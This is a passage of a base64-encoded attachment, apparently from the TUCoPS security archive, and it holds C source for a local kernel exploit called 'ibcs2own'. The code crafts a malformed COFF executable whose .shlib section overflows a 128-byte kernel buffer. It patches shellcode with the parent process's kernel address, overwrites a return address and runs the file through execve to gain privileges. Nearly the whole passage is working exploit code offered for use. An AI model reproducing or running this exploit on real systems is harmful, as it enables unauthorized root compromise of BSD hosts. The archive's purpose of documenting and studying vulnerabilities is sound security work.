eW1ib2wgdGFibGUgZW50cmllcyAqLw0KICAgIHVfc2hvcnQgICAgIGZfb3B0

aGRyOyAgICAgICAvKiBzaXplIG9mIG9wdGlvbmFsIGhlYWRlciAqLw0KICAg

IHVfc2hvcnQgICAgIGZfZmxhZ3M7ICAgICAgICAvKiBmbGFncyAqLw0KfTsN

Cg0KLyogZl9tYWdpYyBmbGFncyAqLw0KI2RlZmluZSBDT0ZGX01BR0lDX0kz

ODYgMHgxNGMNCg0KLyogZl9mbGFncyAqLw0KI2RlZmluZSBDT0ZGX0ZfUkVM

RkxHICAgMHgxDQojZGVmaW5lIENPRkZfRl9FWEVDICAgICAweDINCiNkZWZp

bmUgQ09GRl9GX0xOTk8gICAgIDB4NA0KI2RlZmluZSBDT0ZGX0ZfTFNZTVMg

ICAgMHg4DQojZGVmaW5lIENPRkZfRl9TV0FCRCAgICAweDQwDQojZGVmaW5l

IENPRkZfRl9BUjE2V1IgICAweDgwDQojZGVmaW5lIENPRkZfRl9BUjMyV1Ig

ICAweDEwMA0KDQovKg0KICogQ09GRiBzeXN0ZW0gaGVhZGVyDQogKi8NCg0K

c3RydWN0IGNvZmZfYW91dGhkciB7DQogICAgc2hvcnQgICAgICAgYV9tYWdp

YzsNCiAgICBzaG9ydCAgICAgICBhX3ZzdGFtcDsNCiAgICBsb25nICAgICAg

ICBhX3RzaXplOw0KICAgIGxvbmcgICAgICAgIGFfZHNpemU7DQogICAgbG9u

ZyAgICAgICAgYV9ic2l6ZTsNCiAgICBsb25nICAgICAgICBhX2VudHJ5Ow0K

ICAgIGxvbmcgICAgICAgIGFfdHN0YXJ0Ow0KICAgIGxvbmcgICAgICAgIGFf

ZHN0YXJ0Ow0KfTsNCg0KLyogbWFnaWMgKi8NCiNkZWZpbmUgQ09GRl9aTUFH

SUMgICAgIDA0MTMNCg0KLyoNCiAqIENPRkYgc2VjdGlvbiBoZWFkZXINCiAq

Lw0KDQpzdHJ1Y3QgY29mZl9zY25oZHIgew0KICAgIGNoYXIgICAgICAgIHNf

bmFtZVs4XTsNCiAgICBsb25nICAgICAgICBzX3BhZGRyOw0KICAgIGxvbmcg

ICAgICAgIHNfdmFkZHI7DQogICAgbG9uZyAgICAgICAgc19zaXplOw0KICAg

IGxvbmcgICAgICAgIHNfc2NucHRyOw0KICAgIGxvbmcgICAgICAgIHNfcmVs

cHRyOw0KICAgIGxvbmcgICAgICAgIHNfbG5ub3B0cjsNCiAgICB1X3Nob3J0

ICAgICBzX25yZWxvYzsNCiAgICB1X3Nob3J0ICAgICBzX25sbm5vOw0KICAg

IGxvbmcgICAgICAgIHNfZmxhZ3M7DQp9Ow0KDQovKiBzX2ZsYWdzICovDQoj

ZGVmaW5lIENPRkZfU1RZUF9URVhUICAgICAgICAgIDB4MjANCiNkZWZpbmUg

Q09GRl9TVFlQX0RBVEEgICAgICAgICAgMHg0MA0KI2RlZmluZSBDT0ZGX1NU

WVBfU0hMSUIgICAgICAgICAweDgwMA0KDQoNCnZvaWQgZ2V0X3Byb2MocGlk

X3QsIHN0cnVjdCBraW5mb19wcm9jICopOw0Kdm9pZCBzaWdfaGFuZGxlcigp

Ow0KDQppbnQNCm1haW4oaW50IGFyZ2MsIGNoYXIgKiphcmd2KQ0Kew0KICB1

X2ludCBpLCBmZCwgZGVidWcgPSAwOw0KICB1X2NoYXIgKnB0ciwgKnNocHRy

Ow0KICB1X2xvbmcgKmxwdHI7DQogIHVfbG9uZyBwcHJvY2Fkciwgb2Zmc2V0

Ow0KICBzdHJ1Y3Qga2luZm9fcHJvYyBrcDsNCiAgY2hhciAqYXJnc1tdID0g

eyAiLi9pYmNzMm93biIsIE5VTEx9Ow0KICBjaGFyICplbnZzW10gPSB7ICJS

SVA9dGhlbyIsIE5VTEx9Ow0KICAvL0NPRkYgc3RydWN0dXJlcw0KICBzdHJ1

Y3QgY29mZl9maWxlaGRyIGZoZHI7DQogIHN0cnVjdCBjb2ZmX2FvdXRoZHIg

YWhkcjsNCiAgc3RydWN0IGNvZmZfc2NuaGRyICBzY24wLCBzY24xLCBzY24y

Ow0KDQogICBpZihhcmd2WzFdKSB7DQogICAgICBpZighc3RybmNtcChhcmd2

WzFdLCAiLXYiLCAyKSkgDQogICAgICAgICAgICAgIGRlYnVnID0gMTsNCiAg

ICAgIGVsc2UgeyANCgkgICAgICBwcmludGYoIi12OiB2ZXJib3NlIGZsYWcg

b25seVxuIik7DQoJICAgICAgZXhpdCgwKTsNCiAgICAgICAgICAgIH0NCiAg

ICB9DQogDQogICAgWkVSTyhmaGRyKTsNCiAgICBmaGRyLmZfbWFnaWMgPSBD

T0ZGX01BR0lDX0kzODY7DQogICAgZmhkci5mX25zY25zID0gMzsgLy9URVhU

LCBEQVRBLCBTSExJQg0KICAgIGZoZHIuZl90aW1kYXQgPSAweGRlYWRiZWVm

Ow0KICAgIGZoZHIuZl9zeW1wdHIgPSAweDQwMDA7DQogICAgZmhkci5mX25z

eW1zID0gMTsNCiAgICBmaGRyLmZfb3B0aGRyID0gc2l6ZW9mKGFoZHIpOyAv

L0FPVVQgb3B0IGhlYWRlciBzaXplDQogICAgZmhkci5mX2ZsYWdzID0gQ09G

Rl9GX0VYRUM7DQoNCiAgICBaRVJPKGFoZHIpOw0KICAgIGFoZHIuYV9tYWdp

YyA9IENPRkZfWk1BR0lDOw0KICAgIGFoZHIuYV90c2l6ZSA9IDA7DQogICAg

YWhkci5hX2RzaXplID0gMDsgDQogICAgYWhkci5hX2JzaXplID0gMDsNCiAg

ICBhaGRyLmFfZW50cnkgPSAweDEwMDAwOw0KICAgIGFoZHIuYV90c3RhcnQg

PSAwOw0KICAgIGFoZHIuYV9kc3RhcnQgPSAwOw0KICAgDQogICAgWkVSTyhz

Y24wKTsNCiAgICBtZW1jcHkoJnNjbjAuc19uYW1lLCAiLnRleHQiLCA1KTsN

CiAgICBzY24wLnNfcGFkZHIgPSAweDEwMDAwOw0KICAgIHNjbjAuc192YWRk

ciA9IDB4MTAwMDA7DQogICAgc2NuMC5zX3NpemUgPSA0MDk2Ow0KICAgIHNj

bjAuc19zY25wdHIgPSBzaXplb2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyAo

c2l6ZW9mKHNjbjApKjMpOyANCiAgICAvL2ZpbGUgb2Zmc2V0IG9mIC50ZXh0

IHNlZ21lbnQNCiAgICBzY24wLnNfcmVscHRyID0gMDsNCiAgICBzY24wLnNf

bG5ub3B0ciA9IDA7DQogICAgc2NuMC5zX25yZWxvYyA9IDA7DQogICAgc2Nu

MC5zX25sbm5vID0gMDsNCiAgICBzY24wLnNfZmxhZ3MgPSBDT0ZGX1NUWVBf

VEVYVDsNCg0KICAgIFpFUk8oc2NuMSk7DQogICAgbWVtY3B5KCZzY24xLnNf

bmFtZSwgIi5kYXRhIiwgNSk7DQogICAgc2NuMS5zX3BhZGRyID0gMHgxMDAw

MCAtIDQwOTY7DQogICAgc2NuMS5zX3ZhZGRyID0gMHgxMDAwMCAtIDQwOTY7

DQogICAgc2NuMS5zX3NpemUgPSA0MDk2Ow0KICAgIHNjbjEuc19zY25wdHIg

PSBzaXplb2YoZmhkcikgKyBzaXplb2YoYWhkcikgKyAoc2l6ZW9mKHNjbjAp

KjMpICsgNDA5NjsgDQogICAgLy9maWxlIG9mZnNldCBvZiAuZGF0YSBzZWdt

ZW50DQogICAgc2NuMS5zX3JlbHB0ciA9IDA7DQogICAgc2NuMS5zX2xubm9w

dHIgPSAwOw0KICAgIHNjbjEuc19ucmVsb2MgPSAwOw0KICAgIHNjbjEuc19u

bG5ubyA9IDA7DQogICAgc2NuMS5zX2ZsYWdzID0gQ09GRl9TVFlQX0RBVEE7

DQoNCiAgICBaRVJPKHNjbjIpOw0KICAgIG1lbWNweSgmc2NuMi5zX25hbWUs

ICIuc2hsaWIiLCA2KTsNCiAgICBzY24yLnNfcGFkZHIgPSAwOw0KICAgIHNj

bjIuc192YWRkciA9IDA7DQogICAgc2NuMi5zX3NpemUgPSAweGIwOyAvL0hF

UkUgSVMgREEgT1ZGISEhIHN0YXRpY19idWZmZXIgPSAxMjgNCiAgICBzY24y

LnNfc2NucHRyID0gc2l6ZW9mKGZoZHIpICsgc2l6ZW9mKGFoZHIpICsgKHNp

emVvZihzY24wKSozKSArIDIqNDA5NjsgDQogICAgLy9maWxlIG9mZnNldCBv

ZiAuZGF0YSBzZWdtZW50DQogICAgc2NuMi5zX3JlbHB0ciA9IDA7DQogICAg

c2NuMi5zX2xubm9wdHIgPSAwOw0KICAgIHNjbjIuc19ucmVsb2MgPSAwOw0K

ICAgIHNjbjIuc19ubG5ubyA9IDA7DQogICAgc2NuMi5zX2ZsYWdzID0gQ09G

Rl9TVFlQX1NITElCOw0KDQogICAgb2Zmc2V0ID0gc2l6ZW9mKGZoZHIpICsg

c2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSozKSArIDMqNDA5NjsNCiAg

ICBwdHIgPSAoY2hhciAqKSBtYWxsb2Mob2Zmc2V0KTsNCiAgICBpZighcHRy

KSB7IA0KCQlwZXJyb3IoIm1hbGxvYyIpOw0KCQlleGl0KC0xKTsNCiAgICB9

DQoNCiAgICBtZW1zZXQocHRyLCAweGNjLCBvZmZzZXQpOyAgLyogZmlsbCBp

bnQzICovDQoNCiAgICAvKiBjb3B5IHNlY3Rpb25zICovDQogICAgb2Zmc2V0

ID0gMDsNCiAgICBtZW1jcHkocHRyLCAoY2hhciAqKSAmZmhkciwgc2l6ZW9m

KGZoZHIpKTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKGZoZHIpOw0KDQogICAg

bWVtY3B5KHB0citvZmZzZXQsIChjaGFyICopICZhaGRyLCBzaXplb2YoYWhk

cikpOyANCiAgICBvZmZzZXQgKz0gc2l6ZW9mKGFoZHIpOw0KCQ0KICAgIG1l

bWNweShwdHIrb2Zmc2V0LCAoY2hhciAqKSAmc2NuMCwgc2l6ZW9mKHNjbjAp

KTsNCiAgICBvZmZzZXQgKz0gc2l6ZW9mKHNjbjApOw0KDQogICAgbWVtY3B5

KHB0citvZmZzZXQsICZzY24xLCBzaXplb2Yoc2NuMSkpOw0KICAgIG9mZnNl

dCArPSBzaXplb2Yoc2NuMSk7DQoNCiAgICBtZW1jcHkocHRyK29mZnNldCwg

KGNoYXIgKikgJnNjbjIsIHNpemVvZihzY24yKSk7DQogICAgb2Zmc2V0ICs9

IHNpemVvZihzY24yKTsNCg0KICAgIGxwdHIgPSAodV9sb25nICopICgoY2hh

ciAqKXB0ciArIHNpemVvZihmaGRyKSArIHNpemVvZihhaGRyKSArIFwNCiAg

ICAgICAgICAgKHNpemVvZihzY24wKSAqIDMpICsgNDA5NiArIDQwOTYgKyAw

eGIwIC0gOCk7DQoNCiAgICBzaHB0ciA9IChjaGFyICopIG1hbGxvYyg0MDk2

KTsNCiAgICBpZighc2hwdHIpIHsNCgkJcGVycm9yKCJtYWxsb2MiKTsNCgkJ

ZXhpdCgtMSk7DQogICAgfQ0KICAgIGlmKGRlYnVnKQ0KICAgICAgcHJpbnRm

KCJwYXlsb2FkIGFkcjogMHglLjh4XHQiLCBzaHB0cik7DQoNCiAgICBtZW1z

ZXQoc2hwdHIsIDB4Y2MsIDQwOTYpOw0KDQogICAgZ2V0X3Byb2MoKHBpZF90

KSBnZXRwcGlkKCksICZrcCk7DQogICAgcHByb2NhZHIgPSAodV9sb25nKSBr

cC5rcF9lcHJvYy5lX3BhZGRyOw0KICAgIGlmKGRlYnVnKQ0KICAgICAgcHJp

bnRmKCJwYXJlbnQgcHJvYyBhZHI6IDB4JS44eFxuIiwgcHByb2NhZHIpOyAN

Cg0KICAgICpscHRyKysgPSAweGRlYWRiZWVmOw0KICAgICpscHRyID0gKHVf

bG9uZykgc2hwdHI7DQoNCiAgICBzaGVsbGNvZGVbNV0gPSBwcHJvY2FkciAm

IDB4ZmY7DQogICAgc2hlbGxjb2RlWzZdID0gKHBwcm9jYWRyID4+IDgpICYg

MHhmZjsNCiAgICBzaGVsbGNvZGVbN10gPSAocHByb2NhZHIgPj4gMTYpICYg

MHhmZjsNCiAgICBzaGVsbGNvZGVbOF0gPSAocHByb2NhZHIgPj4gMjQpICYg

MHhmZjsNCg0KICAgIG1lbWNweShzaHB0ciwgc2hlbGxjb2RlLCBzaXplb2Yo

c2hlbGxjb2RlKS0xKTsNCg0KICAgIHVubGluaygiLi9pYmNzMm93biIpOw0K

ICAgIGlmKChmZCA9IG9wZW4oIi4vaWJjczJvd24iLCBPX0NSRUFUXk9fUkRX

UiwgMDc1NSkpIDwgMCkgew0KCQlwZXJyb3IoIm9wZW4iKTsNCgkJZXhpdCgt

MSk7DQoJfQ0KDQogICAgd3JpdGUoZmQsIHB0ciwgc2l6ZW9mKGZoZHIpICsg

c2l6ZW9mKGFoZHIpICsgKHNpemVvZihzY24wKSAqIDMpICsgNDA5NiArIDQw

OTYgKyA0MDk2KTsNCiAgICBjbG9zZShmZCk7DQogICAgZnJlZShwdHIpOw0K

DQogICAgc2lnbmFsKFNJR1NFR1YsICh2b2lkICgqKSgpKXNpZ19oYW5kbGVy

KTsNCiAgICBzaWduYWwoU0lHSUxMLCAodm9pZCAoKikoKSlzaWdfaGFuZGxl

cik7DQogICAgc2lnbmFsKFNJR1NZUywgKHZvaWQgKCopKCkpc2lnX2hhbmRs

ZXIpOw0KICAgIHNpZ25hbChTSUdCVVMsICh2b2lkICgqKSgpKXNpZ19oYW5k

bGVyKTsNCiAgICBzaWduYWwoU0lHQUJSVCwgKHZvaWQgKCopKCkpc2lnX2hh

bmRsZXIpOw0KICAgIHNpZ25hbChTSUdUUkFQLCAodm9pZCAoKikoKSlzaWdf

aGFuZGxlcik7DQoNCiAgICBwcmludGYoIlxuRE8gTk9UIEZPUkdFVCBUTyBT

SFJFRCAuL2liY3Myb3duXG4iKTsNCiAgICBleGVjdmUoYXJnc1swXSwgYXJn

cywgZW52cyk7DQogICAgcGVycm9yKCJleGVjdmUiKTsNCn0NCg0Kdm9pZA0K

c2lnX2hhbmRsZXIoKQ0Kew0KICAgX2V4aXQoMCk7DQp9DQoNCnZvaWQNCmdl

dF9wcm9jKHBpZF90IHBpZCwgc3RydWN0IGtpbmZvX3Byb2MgKmtwKQ0Kew0K

ICAgdV9pbnQgYXJyWzRdLCBsZW47DQoNCiAgICAgICAgYXJyWzBdID0gQ1RM

X0tFUk47DQogICAgICAgIGFyclsxXSA9IEtFUk5fUFJPQzsNCiAgICAgICAg

YXJyWzJdID0gS0VSTl9QUk9DX1BJRDsNCiAgICAgICAgYXJyWzNdID0gcGlk

Ow0KICAgICAgICBsZW4gPSBzaXplb2Yoc3RydWN0IGtpbmZvX3Byb2MpOw0K

ICAgICAgICBpZihzeXNjdGwoYXJyLCA0LCBrcCwgJmxlbiwgTlVMTCwgMCkg

PCAwKSB7DQogICAgICAgICAgICAgICAgcGVycm9yKCJzeXNjdGwiKTsNCiAg

ICAgICAgICAgICAgICBmcHJpbnRmKHN0ZGVyciwgInRoaXMgaXMgYW4gdW5l

eHBlY3RlZCBlcnJvciwgcmVydW4hXG4iKTsNCiAgICAgICAgICAgICAgICBl

eGl0KC0xKTsNCiAgICAgICAgfQ0KDQp9DQoNCg==
---559023410-851401618-1069180443=:685--

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH